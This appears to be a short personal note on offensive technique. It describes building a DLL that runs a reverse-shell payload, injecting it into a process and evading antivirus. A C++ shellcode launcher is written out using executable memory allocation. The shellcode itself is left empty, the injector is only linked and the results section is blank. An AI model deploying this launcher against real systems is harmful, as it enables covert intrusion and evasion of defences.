Execute Shellcode Launcher with Dll Injection
Objective
Create custom shellcode launcher to execute reverse shell payload and compile it as evil.dll.
Create a dll injector and inject evil.dll to a process.
Get a reverse shell.
Ok but why ?
Antivirus evasion and/or make it hard to detect.
Shellcode Launcher
You can read more about shellcode launcher from my previous note:
C++: Shellcode Launcher#include <string>
#include <windows.h>
int main(){
char shellcode[] = ""; //shellcode
void *memPtr= VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //yer ayir
memcpy(memPtr, shellcode, sizeof shellcode); //bellege shellcodeu yerlestir
((void(*)())memPtr)(); //shellcodeu aktive et
}Add a DllMain function to execute shellcode launcher just in the when DLL is injected.
DLL Injector
You can read more about dll injection from my previous note:
C++: Dll InjectionAction and Results
Selecting process PID


Last updated
Was this helpful?